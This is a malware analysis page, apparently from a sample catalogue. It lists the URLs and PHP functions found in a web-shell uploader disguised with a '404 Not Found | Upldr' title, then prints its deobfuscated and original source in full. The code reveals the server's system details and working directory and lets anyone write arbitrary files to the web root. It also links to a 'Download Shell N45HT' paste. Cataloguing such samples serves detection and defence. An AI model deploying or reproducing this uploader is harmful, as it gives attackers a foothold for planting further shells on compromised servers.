PHP Malware Analysis

Back to list

Tags

URLs
http://fonts.googleapis.com/css?family=Fredericka+the+Great
http://fonts.googleapis.com/css?family=Jolly+Lodger
http://fonts.googleapis.com/css?family=Homenaje
https://religioushunter.tk/ESBH.png
https://i.ibb.co/7Wjh0HC/Screenshot-2019-07-10-20-13-25-601-com-whatsapp.png
https://www.facebook.com/N45HTOfficial/
http://main-inter.blogspot.com
http://tools-mainet.000webhost.com/
https://pastebin.com/dl/DxVJqctB
Title
404 Not Found | Upldr
Input
_POST
Environment
php_uname
getcwd

Deobfuscated code

<!DOCTYPE HTML>
<html lang="en-US">
<head>
	<meta charset="UTF-8">
	<title>404 Not Found | Upldr</title>
	<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Homenaje" rel="stylesheet" type="text/css">
<link rel="shortcut icon" href="https://religioushunter.tk/ESBH.png" type="image/x-icon">
<meta name='author' content='Main-inter.net'>
<meta charset="UTF-8">
<style type="text/css">
		body {
		    background: #000000;
		    color: springgreen;
		    font-family :Homenaje;
		}

		#bawah{
			margin-bottom: 50px;
		}

		#content .first {
			background-color: black;
		}

		a {
			color: white;
			text-decoration: none;
		}

		input,select,textarea{
			border: 1px #000000 solid;
			-moz-border-radius: 5px;
			-webkit-border-radius:5px;
			border-radius:5px;
		}

		#menu {
			background:#000000;
			margin:8px 2px 4px 2px;
			font-family:Fredericka the Great;
			font-size:14px;
			color:silver;
		}

		#menu a {
			padding:3px 6px;
			margin:1;
			background:#2d2b2b;
			text-decoration:none;
			letter-spacing:2px;
			-moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
		}

		#menu a:hover {
			background:black;
			border-bottom:1px solid #ffffff;
			border-top:1px solid #ffffff;
		}

		.tombolupil {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		}

		.tombolupil:hover {
			background:crimson;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		} 

		.bordergaya {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid #2d2b2b;
		}

		.bordergaya:hover {
			background:#2d2b2b;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		}

		.justborder {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid #2d2b2b;
		}

		.rapihbanget {
			text-align: left;
			font-size: 16px;
			color: springgreen;
			font-family: Homenaje;
			margin-left: 38%;
		}

		.kecew {
			text-align: left;
			font-size: 15px;
			color: white;
			font-family: Homenaje;
		}

		/*  */

		.js .inputfile{
		    width: 0.1px;
		    height: 0.1px;
		    opacity: 0;
		    overflow: hidden;
		    position: absolute;
		    z-index: -1;
		}

		.inputfile + label {
		    max-width: 80%;
		    font-size: 1.25rem;
		    /* 20px */
		    font-weight: 700;
		    text-overflow: ellipsis;
		    white-space: nowrap;
		    cursor: pointer;
		    display: inline-block;
		    overflow: hidden;
		    padding: 0.625rem 1.25rem;
		    /* 10px 20px */
		}

		.no-js .inputfile + label {
		    display: none;
		}

		.inputfile:focus + label,
		.inputfile.has-focus + label {
		    outline: 1px dotted #000;
		    outline: -webkit-focus-ring-color auto 5px;
		}

		.inputfile + label * {
		    /* pointer-events: none; */
		    /* in case of FastClick lib use */
		}

		.inputfile + label svg {
		    width: 1em;
		    height: 1em;
		    vertical-align: middle;
		    fill: currentColor;
		    margin-top: -0.25em;
		    /* 4px */
		    margin-right: 0.25em;
		    /* 4px */
		}

		.inputfile-4 + label {
		    color: white;
			font-family:Homenaje;
			font-size:15px;
		}

		.inputfile-4:focus + label,
		.inputfile-4.has-focus + label,
		.inputfile-4 + label:hover {
		    color: crimson;
		}

		.inputfile-4 + label figure {
		    width: 50px;
		    height: 50px;
		    border-radius: 25%;
		    background-color: crimson;
		    display: block;
		    padding: 10px;
		    margin: 0 auto 10px;
		}

		.inputfile-4:focus + label figure,
		.inputfile-4.has-focus + label figure,
		.inputfile-4 + label:hover figure {
		    background-color: white;
		}

		.inputfile-4 + label svg {
		    width: 100%;
		    height: 100%;
		    fill: black;
		}

</style>
<body>
<style>
	body {
		background-image: url("https://i.ibb.co/7Wjh0HC/Screenshot-2019-07-10-20-13-25-601-com-whatsapp.png");
		background-size: 100% 100%;
		background-repeat: no-repeat;
		}
</style>
</head>
<br>
	<br>
		<br>
			<br>
<center>
<a href='https://www.facebook.com/N45HTOfficial/' target='_blank'><font size='3px'>About Us</a> - 
<a href='http://main-inter.blogspot.com' target='_blank'><font size='3px'>Blog</a>  - 
<a href='http://tools-mainet.000webhost.com/' target='_blank'><font size='3px'>Tools Online Mainet</a> -
<a href='https://pastebin.com/dl/DxVJqctB' target='_blank'><font size='3px'>Download Shell N45HT</a> 
</center>
<body>
<center>
<font face= "Architects Daughter">
<font color='red' face='Architects Daughter' font size="5px"'>Jenderal92 Upl0ader</font></b><center>
<?php 
echo '<big><font color=white> System: <span style="color: lime;">' . php_uname() . '</span></big><br>';
echo "<font color=white>Your IP: <font color=blue>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo '<big><font color=white>Directory: <span style="color: aqua;">' . getcwd() . '</span></big><br><br>';
if ($_POST) {
    if (@copy($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
        echo "<b>Berhasil Ngentod :v</b>-->" . $_FILES["f"]["name"];
    } else {
        echo "<b>Gagal Ngentod ;(";
    }
} else {
    echo "<form method=post enctype=multipart/form-data><input type=file name=f><input name=v type=submit id=v value=GasSlur-:v> <br>";
}
__halt_compiler();?></h1>
</body>
</html>



Original code

<!DOCTYPE HTML>
<html lang="en-US">
<head>
	<meta charset="UTF-8">
	<title>404 Not Found | Upldr</title>
	<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Homenaje" rel="stylesheet" type="text/css">
<link rel="shortcut icon" href="https://religioushunter.tk/ESBH.png" type="image/x-icon">
<meta name='author' content='Main-inter.net'>
<meta charset="UTF-8">
<style type="text/css">
		body {
		    background: #000000;
		    color: springgreen;
		    font-family :Homenaje;
		}

		#bawah{
			margin-bottom: 50px;
		}

		#content .first {
			background-color: black;
		}

		a {
			color: white;
			text-decoration: none;
		}

		input,select,textarea{
			border: 1px #000000 solid;
			-moz-border-radius: 5px;
			-webkit-border-radius:5px;
			border-radius:5px;
		}

		#menu {
			background:#000000;
			margin:8px 2px 4px 2px;
			font-family:Fredericka the Great;
			font-size:14px;
			color:silver;
		}

		#menu a {
			padding:3px 6px;
			margin:1;
			background:#2d2b2b;
			text-decoration:none;
			letter-spacing:2px;
			-moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
		}

		#menu a:hover {
			background:black;
			border-bottom:1px solid #ffffff;
			border-top:1px solid #ffffff;
		}

		.tombolupil {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		}

		.tombolupil:hover {
			background:crimson;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		} 

		.bordergaya {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid #2d2b2b;
		}

		.bordergaya:hover {
			background:#2d2b2b;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid crimson;
		}

		.justborder {
			background:black;
			color:white;
			margin:0 10px;
			font-family:Homenaje;
			font-size:16px;
			border:2px solid #2d2b2b;
		}

		.rapihbanget {
			text-align: left;
			font-size: 16px;
			color: springgreen;
			font-family: Homenaje;
			margin-left: 38%;
		}

		.kecew {
			text-align: left;
			font-size: 15px;
			color: white;
			font-family: Homenaje;
		}

		/*  */

		.js .inputfile{
		    width: 0.1px;
		    height: 0.1px;
		    opacity: 0;
		    overflow: hidden;
		    position: absolute;
		    z-index: -1;
		}

		.inputfile + label {
		    max-width: 80%;
		    font-size: 1.25rem;
		    /* 20px */
		    font-weight: 700;
		    text-overflow: ellipsis;
		    white-space: nowrap;
		    cursor: pointer;
		    display: inline-block;
		    overflow: hidden;
		    padding: 0.625rem 1.25rem;
		    /* 10px 20px */
		}

		.no-js .inputfile + label {
		    display: none;
		}

		.inputfile:focus + label,
		.inputfile.has-focus + label {
		    outline: 1px dotted #000;
		    outline: -webkit-focus-ring-color auto 5px;
		}

		.inputfile + label * {
		    /* pointer-events: none; */
		    /* in case of FastClick lib use */
		}

		.inputfile + label svg {
		    width: 1em;
		    height: 1em;
		    vertical-align: middle;
		    fill: currentColor;
		    margin-top: -0.25em;
		    /* 4px */
		    margin-right: 0.25em;
		    /* 4px */
		}

		.inputfile-4 + label {
		    color: white;
			font-family:Homenaje;
			font-size:15px;
		}

		.inputfile-4:focus + label,
		.inputfile-4.has-focus + label,
		.inputfile-4 + label:hover {
		    color: crimson;
		}

		.inputfile-4 + label figure {
		    width: 50px;
		    height: 50px;
		    border-radius: 25%;
		    background-color: crimson;
		    display: block;
		    padding: 10px;
		    margin: 0 auto 10px;
		}

		.inputfile-4:focus + label figure,
		.inputfile-4.has-focus + label figure,
		.inputfile-4 + label:hover figure {
		    background-color: white;
		}

		.inputfile-4 + label svg {
		    width: 100%;
		    height: 100%;
		    fill: black;
		}

</style>
<body>
<style>
	body {
		background-image: url("https://i.ibb.co/7Wjh0HC/Screenshot-2019-07-10-20-13-25-601-com-whatsapp.png");
		background-size: 100% 100%;
		background-repeat: no-repeat;
		}
</style>
</head>
<br>
	<br>
		<br>
			<br>
<center>
<a href='https://www.facebook.com/N45HTOfficial/' target='_blank'><font size='3px'>About Us</a> - 
<a href='http://main-inter.blogspot.com' target='_blank'><font size='3px'>Blog</a>  - 
<a href='http://tools-mainet.000webhost.com/' target='_blank'><font size='3px'>Tools Online Mainet</a> -
<a href='https://pastebin.com/dl/DxVJqctB' target='_blank'><font size='3px'>Download Shell N45HT</a> 
</center>
<body>
<center>
<font face= "Architects Daughter">
<font color='red' face='Architects Daughter' font size="5px"'>Jenderal92 Upl0ader</font></b><center>
<?php
echo '<big><font color=white> System: <span style="color: lime;">'.php_uname().'</span></big><br>';
echo "<font color=white>Your IP: <font color=blue>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo '<big><font color=white>Directory: <span style="color: aqua;">'.getcwd().'</span></big><br><br>';
?><?php if($_POST){ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){ echo"<b>Berhasil Ngentod :v</b>-->".$_FILES["f"]["name"]; }else{ echo"<b>Gagal Ngentod ;("; } }else{ echo "<form method=post enctype=multipart/form-data><input type=file name=f><input name=v type=submit id=v value=GasSlur-:v> <br>"; }__halt_compiler();?></h1>
</body>
</html>